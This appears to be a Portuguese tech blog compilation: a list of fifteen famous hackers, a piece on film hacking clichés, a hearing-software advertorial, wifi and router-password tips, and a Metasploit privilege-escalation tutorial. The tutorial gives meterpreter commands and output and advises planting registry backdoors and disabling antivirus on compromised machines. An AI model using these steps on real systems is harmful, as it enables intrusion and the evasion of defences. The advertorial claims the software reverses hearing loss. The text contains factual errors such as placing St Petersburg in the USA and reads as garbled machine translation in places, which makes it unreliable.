15 hackers historicos

1. Steve Jobs e Steve Wozniak

maiores-hackers-existiram_1

Eles ficaram famosos por serem co-fundadores da Apple, mas antes disso, Steve Jobs e Steve Wozniak começaram como hackers. Tudo começou em 1971, um dia antes de Steve Wozniak (na época com 20 anos de idade) começar a faculdade em Berkeley. Ele leu um artigo sobre ‘phone phreaks’ (Phreaker é o nome dado aos hackers de telefonia) e decidiu que queria hackear um telefone também. Então ele ligou para seu amigo Steve Jobs – na época com 17 anos – para dizer isso a ele.

Alguns meses depois, Wozniak já tinha construído seu próprio ‘Blue box’ (Blue box foi um equipamento desenvolvido por John Draper que gerava tons nas frequências necessárias para comunicar-se com a central telefônica), que os permitiu hackear o sistema telefônico da cidade deles liberando ligações gratuitas para qualquer lugar.

A dupla começou vendendo suas versões de blue boxes usando os pseudônimos Oaf Tobar (Jobs) e Berkeley Blue (Wozniak). Wozniak ligou até mesmo para o Vaticano usando sua box, para passar um trote telefônico.


2. Kevin Poulsen

maiores-hackers-ja-existiram_2

Ele se reinventou como jornalista da revista americana Wired, postando matérias sobre segurança da computação. Porém, Kevin Poulson – anteriormente conhecido pelo pseudônimo “Dark Dante” – ficou famoso como um hacker notório ao ser o incrível ganhador de um veículo Porsche de uma promoção da KISS.FM americana. A rádio daria o carro para o 102º a ligar pra lá. Ele descobriu a contagem invadindo os dados da companhia telefônica e programou sua ligação para ser a 102ª da lista. Ele também ficou famoso por invadir registros do FBI.


3. George Hotz


maiores-hackers-ja-existiram_3

Entediado com a aula, George Hotz hackeou a rede de de computadores de sua escola e fez com que a 9ª Sinfonia de Beethoven fosse reproduzida em vários computadores. O seu grande marco, na verdade, aconteceu quando ele conseguiu – aos 17 anos – desbloquear o iPhone da Apple, foi o primeiro sujeito do mundo a criar um jailbreak para seu próprio iPhone, que permitiu que seu aparelho pudesse ser usado em outras operadoras. O anúncio do desbloqueio foi feito no YouTube, e suas primeiras e famosas palavras do vídeo foram “Hi, everyone, I’m GeoHot. This is the world’s first unlocked iPhone” (“Olá todo mundo, Eu sou o GeoHot. Este é o primeiro iPhone desbloqueado do mundo”). De lá pra cá ele diz que a vida inteira dele é um hack. Depois do iPhone, Hotz passou ahackear também o PS3 – mas acabou sendo processado pela Sony.


4. Jonathan James

maiores-hackers-ja-existiram_4

Jonathan James, conhecido pelo pseudônimo “c0mrade,” tinha apenas 15 anos de idade quandohackeou os computadores do Departamento de Defesa americano. E ele não parou por aí, até mesmo conseguiu assumir os controles da NASA e conseguia controlar, do computador da casa dele, a temperatura e umidade da Estação Espacial Internacional. James foi o primeiro jovem a ser punido pelas leis americanas de crime cibernético. Ele se matou em 2008, dando um tiro em sua própria cabeça.


5. Kevin Mitnick

maiores-hackers-ja-existiram_5

Kevin Mitnick foi um dos hackers de computadores mais procurados do mundo. Em um determinado momento, ele até mesmo resolveu se confinar, porque acreditava que poderia dar início a uma guerra nuclear. Mitnick alega que já hackeou a Sun Microsystems, a Motorola, e a Nokia. O seu hack favorito aconteceu quando ele ainda era criança, ele invadiu e tomou o controle do alto falante dodrive-thru de um McDonald’s perto da sua casa. Segundo ele, “Eu estava do outro lado da rua, pegava os pedidos e dizia para os clientes que a pessoa era o 50º cliente, portanto o pedido seria de graça. Para outros clientes eu dizia ‘Nosso sistema de detecção de peso determinou que seu carro está um muito pesado, então iremos trocar o Big Mac por Salada.’ Melhor ainda foi quando a polícia chegou para comprar e eu disse ‘Esconde a Cocaína, esconde a cocaína!’”.


6. Gary McKinnon

maiores-hackers-ja-existiram_6

O hacker escocês Gary McKinnon é responsável pela “maior invasão de computadores militares de todos os tempos.” O governo americano o acusou por ter hackeado o Exército, a Marinha, a Força Aérea e o Departamento de Defesa, além de 16 computadores da NASA. McKinnon nega ser um hacker mal intencionado, ele afirma que é apenas um “nerd desajeitado.” De acordo com ele, o objetivo das invasões era encontrar evidência de vida alienígena. Seu objetivo era, segundo ele, expor o que ele havia descoberto, uma peça construída pelo dpto. de engenharia reversa militar americano de um sistema de propulsão anti-gravidade que eles supostamente pegaram de uma nave alienígena.


7. Adrian Lamo

maiores-hackers-ja-existiram_7

Adrian Lamo é conhecido como “O Hacker Andarilho”, porque ele geralmente faz suas invasões a partir de cyber cafés, bibliotecas e lanchonetes. O jornal The New York Times ajudou com sua prisão, após ele ter invadido os computadores da sede e ter adicionado seu próprio nome como primeiro de uma lista de “experts” em computadores. Lamo também ficou famoso por quebrar uma série de sistemas de alta segurança de rede de computadores, como a Microsoft, a Yahoo!, a MCI WorldCom, a Excite@Home, as empresas de telefonia SBC, Ameritech e Cingular. Em 2010, Lamo ganhou ainda mais fama por entregar centenas de milhares de documentos do governo para o WikiLeaks.

8. Robert Tappan Morris

maiores-hackers-ja-existiram_8

Robert Tappan Morris ficou famoso por criar um famoso vírus chamado “Morris”, em 1988. O vírus foi o primeiro a se espalhar pela internet desativando cerca de 10% dos computadores ligados à internet no mundo. Segundo Morris, ele não tinha a intenção de causar prejuízos com seu vírus. Em vez disso, ele afirma ter inventado o vírus para ter uma ideia do tamanho da internet. Por fim, Morris acabou se tornando a primeira pessoa a ser condenada por Fraude e Abuso a Computadores. Morris hoje é professor no MIT.


9. Mike Calce

maiores-hackers-ja-existiram_9

Mike Calce – conhecido pelo pseudônimo MafiaBoy – foi o único garoto de 15 anos de idade a hackear algumas das maiores lojas virtuais do mundo. Seu hack afetou lojas grandes como Amazon, eBay, e Yahoo! Calce foi preso após ter revelado informações sobre suas invasões se gabando em salas de bate-papo on-line.


10. David L Smith

maiores-hackers-ja-existiram_10

David L Smith é o hacker que disseminou o famoso vírus “Melissa” em 1999. O vírus se propagou pela internet e atingiu contas de e-mail do mundo inteiro, causando um colapso na rede por causa da sobrecarga nos servidores de e-mail. Sua obra prima lhe garantiu um nome na “calçada da fama” dos hackers, mas causou um prejuízo estimado de US$ 80 milhões. Como resultado, ele teve que ficar 20 meses atrás das grades.


11. Julian Assange

maiores-hackers-existiram_11

Ele é mais conhecido por ter fundado o WikiLeaks, mas Julian Assange já foi um hacker adolescente australiano talentoso conhecido como “Mendax”. Depois de adulto, ele admitiu que “eu fui – assim como todos os hackers, e eu diria que todos os homens são – um pouco autista.” Sobre sua experiência como hacker, ele disse: “Foi certamente viciante. Era possível mergulhar em um sistema de computador. Gostava de de invadir os computadores do Grupo de Comando 8 do Pentágono. Eu ia cada vez mais longe, projetando minha mente durante todo o caminho a partir do meu quarto desarrumado, para todo o sistema ao longo dos corredores do Pentágono, e durante todo o tempo eu estava aprendendo a entender que os sistemas são melhores do que as pessoas de Washington. Era como ser capaz de teletransportar-se para o interior do Pentágono, andando por lá e assumindo o controle.”


12. Albert Gonzalez

maiores-hackers-existiram_12

Albert Gonzalez é um hacker de computador notório que assumiu pseudônimos como SoupNazi e KingChilli. Entre 2005 e 2007, ele planejou e roubou mais de 170 milhões com cartões de débito e crédito hackeando lojas americanas famosas como DSW, Office Max, Boston Market, Barnes & Noble, e TJ Maxx. Juntando toda fortuna que Gonzalez acumulou roubando, encontraram um barril com US$ 1,2 milhões enterrado no quintal de seus pais.


13. Vladimir Levin

maiores-hackers-existiram_13

Vladimir Levin é um hacker russo responsável por arquitetar e realizar o roubo de um banco em São Petersburgo, EUA. Ele e seus comparsas roubaram mais de US$ 10 milhões de contas bancárias do Citibank e transferiram o dinheiro para outras contas bancárias de diversas cidades ao redor do mundo. Tudo, exceto US$ 400 mil do dinheiro roubado foi recuperado.


14. Hector Xavier Monsegur

maiores-hackers-existiram_14

Hector Xavier Monsegur, também conhecido pelo pseudônimo “Sabu,” é um dos co-fundadores do grupo de hackers LulzSec. Ele é lembrado não por simplesmente ser um hacker, mas por ser um duplo agente do FBI. Ele ajuda a agência a identificar outros hackers.


15. Barnaby Jack

maiores-hackers-existiram_15

Barnaby Jack foi um hacker neozelandês que ficou famoso por demonstrar como fazer com que dois caixas eletrônicos cuspissem dinheiro remotamente, durante a conferência de segurança Black Hat, em 2010. Em outra conferência, em 2011, ele demonstrou como uma bomba de insulina poderia serhackeada remotamente para entregar uma dose letal de insulina no paciente. Na conferência de 2012, Jack demonstrou como é possível invadir dispositivos médicos a atacar pessoas que usam próteses eletrônicas em seus corpos mesmo à distância. Jack morreu uma semana antes da conferência Black Hat 2013 por causas desconhecidas.

Veja a seguir a demonstração dos caixas eletrônicos que o deixou famoso. Avance até os 5:40 do vídeo para ver o caixa cuspindo dinheiro.

//www.youtube.com/embed/v-dS4UFomv0

Coletânea dos piores hackings da TV e do cinema

Um bom programa de televisão deve ser divertido. Filmes também devem levar entretenimento ao espectador. E o hacking da vida real? Bom, ele não é tão legal assim de se ver.

Então, perdoe Hollywood por tentar deixar as coisas mais legais, com luzes piscando e digitação frenética. No fim das contas, é basicamente impossível ser fiel à vida real e, ao mesmo tempo, criar uma cena visualmente interessante que prenda a audiência.

Há toda uma série de problemas, que começa em como as telas dos hackers da vida real não têm nenhum movimento, e um painel com dados estáticos sendo exibido numa telona fica entediante depois de um segundo. O problema fica ainda pior quando se leva em conta que os softwares usados pelos hackers privilegiam a função e não a forma, ao passo que cenas interessantes precisam do exato oposto. Acrescente a isso o fato de que textos pequenos são ilegíveis em qualquer distância de filmagem razoável e pronto, você tem um monte de argumentos para trocar o hacking real por um monte de cores e telas piscando.

Hacking na TV:

01

Hacking na vida real:

02

 

Veja a coletanea de Piores Hackers da TV e do cinema:

https://www.youtube.com/watch?feature=player_embedded&v=QmvL7fgp7TM

Software para testes e melhorias de audição

Post publieditorial
hearing_guardian_v1

O Hearing Guardian V1 é um programa que pode fazer toda a diferença na vida de quem se preocupa com a audição. O programa consegue reverter o nível de perda de audição, desde os mais leves até a moderada. O aplicativo foi criado na Coreia com propósito de resolver os problemas de zumbido também. Ele funciona gerenciando a audição todos os dias, analisando os problemas existentes para buscar uma restauração da perda que pode ocorrer pelo avanço da idade ou por barulhos excessivos.

O software testa a audição emitindo sinais acústicos em frequências de nove faixas, que permitem diagnosticar quais são os problemas, e a partir disto, passa a gerar um sinal que estimula os estereocílios danificados que ficam na cóclea, que transforma sinais acústicos em sinais elétricos. Imagine que a cóclea de uma pessoa com problemas auditivos é como um piano que precisa de ajustes ou de uma afinação. O Hearing Guardian V1 detecta o problema de uma “tecla danificada”, e pode ativá-la, estimulando e protegendo-a de novos danos.

Para usar o programa gratuitamente é só fazer o download no site da Biosom, e depois fazer os testes em cada ouvido usando um fone. A interface tem o visual de uma cóclea, e permite que você identifique exatamente onde está o problema. Depois do diagnóstico, é só gerar o sinal indicado e aguardar os 30 minutos de duração do tratamento.

Entenda melhor como funciona o sistema no vídeo abaixo.

http://www.youtube.com/VuZgmf3-JFo

Saiba se algum intruso está usando sua wifi

Quem está On My Wifi, executado em segundo plano, monitorando continuamente a rede e notificar quando um dispositivo desconhecido está conectado. Para ser um intruso teria que tomar outras medidas de segurança na rede.

Teste:

Link: desde aquí

Android

Esta aplicação é uma maneira fácil de saber com certeza quem está usando a rede de computadores com ou sem fios a partir do seu dispositivo portátil.

Basta clicar no botão Scan para ver todos os dispositivos conectados à rede sem fio.

 

 

Iphone

Quem está On My Wifi para o iPhone resolve o problema de detectar dispositivos desconhecidos em seu MiFi ou outra rede sem fio pessoal.

Link: App Store

Com esta aplicação gratuita, sem ter que ser os administradores de rede, pode-se obter as mesmas informações dos roteadores do painel de gerenciamento de recurso, o que nem todos sabem de acesso. A versão gratuita do aplicativo não permite que os usuários bloqueiem, mas se você tem informação suficiente para saber quem é o passageiro clandestino de sua rede sem fio, certamente irá convidar com bondade completo para deixar você tirar proveito de Internet …

 

Fonte:Carluys

Senhas padrões de roteadores

Às vezes, precisamos configurar um roteador e não sei o acesso de IP ou a senha do usuário para acessar a configuração.

 

RouterIPAddress É um site que recolhe acesso IP, nome de usuário e senha padrão para todas as marcas de roteadores do mundo.

O que temos que fazer é inserir a marca ou o modelo do roteador na busca eo sistema irá mostrar os resultados, entre os quais encontramos a foto padrão para que possamos identificar melhor e ter certeza que é o nosso. Também aqui vemos o acesso IP, usuário e senha por padrão.

Com esses dados podemos acessar a configuração do roteador, obviamente, se ele foi alterado para trazer a fábrica, caso contrário, apenas tem que repor.

Este site é muito útil, mas por outro lado é sempre recomendável alterar a senha que vem de fábrica, especialmente  o seu roteador wi-fi.

Fonte: Carluys

Escalação de Privilegios com MetaSploit FrameWork

Uma vez que um atacante conseguiu engajar um alvo, provavelmente, as primeiras atividades a serem realizadas serão escalar privilégios para executar tarefas de gerenciamento no alvo, cobrir seus rastros e, finalmente, garantir que o acesso à máquina comprometida não seja interrompida, o que significa que, na medida do possível, deve evitar a detecção por sistemas AV, firewalls, IDS, etc.

Uma vez obtida uma consola meterpreter através de algum payload (tal como reverse_tcp) pode ser utilizado a extensão priv:

meterpreter> use priv
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to ’0′).
0 : All techniques available
1 : Service – Named Pipe Impersonation (In Memory/Admin)
2 : Service – Named Pipe Impersonation (Dropper/Admin)
3 : Service – Token Duplication (In Memory/Admin)
4 : Exploit – KiTrap0D (In Memory/User)

Como você pode ver, existem diferentes técnicas utilizadas pela extensão priv para elevar os privilégios do console atual, você pode usar uma ou todas as técnicas, se nenhuma parametro é especificado, é utilizado todos os parametros:

meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Depois de obter um console Meterpreter com privilégios apropriados pode executar algumas operações adicionais para acesso mais seguro a máquinas remotas comprometidos, mas é necessário para obter privilégios … comando anteriormente getSystem meterpreter foi utilizada e foi usado para incógnito “personificar “sessões de usuário, mas às vezes não é possível obter um console de” janelas de matérias “com privilégios de sistema adequado nestes casos tem o script service_permissions_escalate

meterpreter > run service_permissions_escalate

Este script irá abrir tantas sessões quanto possível metepreter através da pesquisa e coleta de licenças de acordo com os programas instalados no computador de destino, o comando, uma vez terminado, você pode fechar o console meterpreter que está aberto e abrir uma nova (tanto que criou o roteiro) e tente executar o comando:

meterpreter > execute -f cmd -i

Desta forma, você pode obter um console “raw” com permissões de sistema para realizar vários tipos de tarefas (como a definição de backdoors através de registro ou sistema AV off).

Depois de abrir este console você pode listar os processos em execução da máquina de destino com o comando tasklist e pode terminar qualquer um deles com o comando taskkill. Embora você possa ver os processos e até mesmo matar alguns deles, em alguns casos, pode haver processos são resistentes ou persistente a excluir prisão por mecanismos convencionais, como no caso de um antivírus potente que detecta malware e outras vulnerabilidades e ameaças podem colocar em risco o sistema, de modo que, nesses casos, é altamente recomendável, tente desativar o antivírus da sessão aberta para garantir que ele não vai destruir a traseira traseira estabelecida.